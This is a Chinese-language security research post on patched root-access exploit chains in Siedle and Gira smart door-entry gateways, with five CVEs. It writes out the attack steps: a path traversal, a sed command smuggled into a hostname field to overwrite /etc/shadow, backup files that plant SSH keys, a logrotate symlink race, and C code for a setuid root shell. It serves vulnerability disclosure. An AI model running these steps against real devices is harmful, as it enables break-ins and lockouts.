對智能門禁系統的安全研究

語言: CN / TW / HK

雲棲號資訊:【點擊查看更多行業資訊
在這裏您可以找到不同行業的第一手的上雲資訊,還在等什麼,快來!

siedle_scaled_jpeg

對於許多攻擊類型,需要物理訪問計算機,例如插入“ Rubber Ducky”或插入物理鍵盤記錄程序。由於通常限制對服務器和計算機的訪問,因此通常通過“當攻擊者已經進入房間時,無論如何我們都會被攻擊”的角度來處理這些威脅向量。但是,如果相反的話怎麼辦?如果服務器,計算機和軟件取決於物理安全性,但是物理安全性取決於計算機的安全性呢?對於所有不同類型的智能門鎖,情況就是如此。我們研究了網關係統,這些系統增加了門鈴解決方案,使用户可以通過網絡(甚至Internet)對其進行控制。對於其中兩個分別由Siedle和Gira製造的產品,我們找到了開源的固件文件並開始進行漏洞挖掘。

0x01 漏洞描述

我們在HITBAMS20的會議上進行了分享,並且我們打算將硬件帶到現場演示。但是,由於Corona / COVID-19 疫情會議被取消了,我們仍然在線上會議上進行了演示。

https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140

此外,我們將在此博客文章中詳細介紹漏洞利用鏈和技術細節。稍後,我們錄製的演示和演講將在此處提供。

我們能夠在兩個設備及其各自的管理Web GUI上獲得root用户訪問權限。這使我們能夠將受害者鎖定在外面,並獲得我們希望連接到受感染設備的物理訪問權限。有關我們的利用鏈的更詳細的技術説明,可以在後續文章中找到。

MITER總共向我們分配了五個CVE編號:

· CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未經身份驗證的路徑遍歷的攻擊,從而使攻擊者可以下載應用程序數據庫。可以將其與CVE-2020-10795結合使用以進行遠程root訪問。

· CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7易於通過Web前端的備份功能執行經過身份驗證的遠程代碼執行。可以將其與CVE-2020-10794結合使用以進行遠程root訪問。

· CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智能網關具有無密碼ftp ssh用户。通過使用漏洞利用鏈,可以訪問網絡的攻擊者可以在網關上獲得root訪問權限。

· CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0智能網關允許通過Web前端中的備份功能遠程執行代碼。通過使用漏洞利用鏈,可以訪問網絡的攻擊者可以在網關上獲得root訪問權限。

· CVE-2020-9475:1.2.4之前的S.Siedle&Soehne SG 150-0智能網關允許通過logrotate中的競爭條件提升本地特權。通過使用漏洞利用鏈,可以訪問網絡的攻擊者可以在網關上獲得root訪問權限。

我們聯繫了兩家供應商,並吿知他們我們的發現。到現在為止,我們發現的所有漏洞都不再對最新版本系統有效。Siedle甚至為我們提供了預發佈的測試固件映像,因此我們可以檢查所有漏洞是否在更新發布之前已修復。總體而言,我們對兩家供應商的迴應感到非常滿意,因為這清楚地表明他們意識到了調查結果的重要性。兩家供應商都立即按照自己的設置對其進行了驗證,並專業地解決了這些問題。

0x02 Gira漏洞利用鏈

1590979278187770_jpeg

Gira TKS-IP-Gateway的主板

CVE-2020-10794:Gira TKS-IP-網關4.0.7.7中未經身份驗證的路徑遍歷

當我們開始研究Gira TKS IP網關時,我們在Web界面中發現了路徑遍歷漏洞。使用此/app/db/gira.db文件,我們下載了文件。在此文件中,管理員密碼為md5-hash,如果密碼不是特別強的話,哈希很容易被破解。此外,我們下載了相同的/app/sdintern/messages文件。如果有人最近登錄了該計算機,該文件將以純文本格式生成密碼。使用獲得的憑據,我們能夠登錄到Web前端並重新配置設備或打開與該設備連接的後門。

CVE-2020-10795:Gira TKS-IP-網關4.0.7.7中身份驗證的遠程代碼執行

現在我們已經在Web界面上獲得了管理員特權,我們備份了gira.db。該備份是TAR文件,我們可以對其進行解壓縮和修改:

sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"

上面的代碼將sed命令放入數據庫中。在sedheg我們修改的tar文件將取代密碼哈希root和D3.IPGWvG,如下所示:

#!/bin/sh  
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/  
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/

兩個用户要麼都是root用户,要麼可能已經成為sudo的root用户。準備好之後,我們再次打包修改後的文件。然後,我們通過還原功能將備份上傳到Web界面。這觸發了我們偽造的新網絡設置(標記為“ ==>”),該設置是從修改後的sqlite數據庫讀取的。

[...]  
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`  
 [...]  
 ==> HNAME=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $2}'`;  
NS=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $3}'`;  
BOOTMODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;  
GW=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $5}'`;  
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;  
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;

然後,在的sed命令中使用了“ $ HNAME”變量/app/bin/network.sh。

echo "0" > /tmp/dhcp  
echo "nameserver 192.168.0.1" > /etc/resolv.conf   
echo -en "HOSTNAME: $HNAME"  
echo -en ""  
echo "$HNAME" > /etc/hostname  
 ==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf

這樣,我們將root密碼更改為我們已知的密碼。最後一步是登錄到機器,為此我們需要dropbear ssh軟件包。它是備用的ssh服務器,但是設備上存在的版本太舊,無法與現代的openssh客户端兼容。使用dbclient -p

https://player.vimeo.com/video/410960486

0x03 Siedle漏洞利用鏈

siedle_scaled_jpeg

S. Siedle&SöhneSG 150-0智能網關

CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空無密碼FTP用户

對於Siedle SG-150,我們進入系統的入口是為ftp用户設置密碼。這是可能的,因為固件不包含該用户的任何密碼。通過ssh設置密碼後,我們ssh -v -N ftp@

我們在公共固件中的一些shell腳本和配置文件中找到了該數據庫的靜態root密碼“ siedle”。使用密碼和轉發的端口,我們可以使用命令以管理特權訪問數據庫mysql -h 127.0.0.1 -u root -P 1337 -psiedle。

該數據庫具有不同的目的,一個目的是存儲用於Web應用程序管理設備的憑據。通過對數據庫具有root用户訪問權限,我們可以為Web應用程序添加具有管理員特權的另一個用户。現在,我們可以控制和重新配置連接到網關的每個設備,這使我們能夠進行連接。

CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的經過身份驗證的遠程代碼執行

這將使我們獲得Shell訪問權限。從Web應用程序,我們能夠下載配置備份config.bak文件。這是一個squashfs,一旦解壓縮,其中包含一個backup.sql文件。我們生成了一個ssh密鑰,並將以下四行添加到backup.sql文件的頂部:

\! mkdir /var/lib/mysql/.ssh    
\! echo  >> /var/lib/sql/.ssh/authorized_keys    
\! chmod 0700 /var/lib/mysql/.ssh    
\! chmod 0600 /var/lib/mysql/.ssh/authorized_keys

然後,我們重建了squashfs並將其作為備份上傳到Web應用程序,該文件用於還原過程。等待幾分鐘的恢復過程完成後,我們便以SSH用户的私鑰通過ssh訪問了該設備,因為運行了受操縱文件中的所有命令,~/.ssh/authorized_keys並創建了mysql用户的文件。

CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的本地特權升級

為了提升特權,我們在logrotate腳本中使用了錯誤的配置。此外,我們編寫了三個小程序,即bind,symlink和root。源代碼將在本文的附錄中。由於已經具有shell程序訪問權限,因此我們對ARM程序進行了交叉編譯,並將其複製到設備中。 我們想觸發MySQL logrotate腳本的以下部分:

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then  
 $MYADMIN flush-logs  
else  
# manually move it, to mimic above behaviour  
mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old  
# recreate mysql.log, else logrotate would miss it  
touch /var/log/mysql/mysql.log  
chown mysql.mysql /var/log/mysql/mysql.log  
chmod 0664 /var/log/mysql/mysql.log  
 fi

要觸發這部分代碼,我們需要確保mysqladmin ping返回的狀態碼不是零。如果mysql服務器未運行,則只有這種情況。更改憑據甚至刪除整個數據庫都無濟於事,因為mysqladmin仍會返回零,我們需要數據庫不可用。但是由於如果你關閉它,它只會重新啟動,所以我們需要將其掛載出來。這是第一個利用程序進入的地方:bind。我們使用它來將自身綁定到mysql數據庫正在使用的靜態端口:

while true; do ./bind 63601; sleep 1; done

在第二個終端中,我們關閉數據庫,然後在啟動時嘗試將自身綁定到其端口時將掛起。因為mysql會在關機和啟動之間釋放端口,所以我們可以在它們之間進行競爭並使用我們的程序阻止該端口。這種方式mysqladmin返回了一個,我們必須執行else條件。

然後,我們需要第二個程序:symlink。現在的目標是在其中創建一個/etc/logrotate.d/我們可以控制和寫入的文件,因為logrotate將以root用户身份執行該目錄中的所有腳本。為了達到目的執行logrotate腳本,用於清理MySQL的日誌文件,並設法從/var/log/mysql/mysql.log創建符號鏈接到之間mv和touch的/etc/logrotate.d/rootme。Rootme當時不存在,但這並不重要。按照符號鏈接,logrotate /etc/logrotate.d/rootme以root身份創建文件,然後將chown其提供給mysql用户。為了阻止mysql寫入我們準備的文件,我們刪除了symlink並/var/log/mysql/mysql.log為其創建了一個新文件。之後,我們將/etc/logrotate.de/rootme用以下內容填充:

/var/log/mysql/rootme.log {
         delaycompress
         nosharedscripts
         copy
         firstaction
             chown root:root /tmp/root
             chmod +s /tmp/root
             mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
             touch /var/log/mysql/rootme.log
             chown mysql.mysql /var/log/mysql/rootme.log
             chmod 0664 /var/log/mysql/rootme.log
          fi
         endscript
         lastaction
             mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
         endscript
 }

程序/tmp/root是我們的第三個程序和suidrootshell。完成所有操作後,我們必須填充/var/log/mysql/rootme.log並再次觸發logrotate。現在,我們的suid二進制文件具有root特權,可以通過以下方式使用:/tmp/root passwd root。現在,我們可以更改root用户的密碼,從現在起就可以完全控制系統了。

https://player.vimeo.com/video/410961877

0x04 代碼片段

bind.c

#include  #include  #include  #include  #include  
#include  #include  
void error(const char *msg) {
    perror(msg);
    exit(1);
}

int main(int argc, char **argv) {
     int sockfd, newsockfd, portno, pid;
     socklen_t clilen;
     struct sockaddr_in serv_addr, cli_addr;

     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);

     if (sockfd < 0) 
        error("ERROR opening socket");

     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
         error("ERROR on binding");
     listen(sockfd,5);
     accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     return 0;
}

symlink.c

#include  
int main(int argc, char **argv) {
  int ret;

  char *watchPath = argv[1];
  char *linkPath = argv[2];

  while(1) {
      ret = symlink(linkPath, watchPath);
      if (ret == 0)
        return 0;
  }
  return 0;
}

root.c

#include  #include  #include  #include  #include  
char *join_command(char **commands) {
    char *res = (char *)malloc(strlen(commands[0]));
    strncpy(res, commands[0], strlen(commands[0]));

    for (char **command = ++commands; *command != NULL; command++) {
        res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
        strcat(res, " ");
        strcat(res, *command);
    }
    return res;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage: ./root ");
    }

    setuid(0);
    setgid(0);
    system(join_command(++argv));

    return 0;
}

【雲棲號在線課堂】每天都有產品技術專家分享!
課程地址:https://yqh.aliyun.com/zhibo

立即加入社羣,與專家面對面,及時瞭解課程最新動態!
【雲棲號在線課堂 社羣】https://c.tb.cn/F3.Z8gvnK

原文發佈時間:2020-08-06
本文作者:h1apwn
本文來自:“嘶吼網”,瞭解相關信息可以關注“嘶吼網

分享到: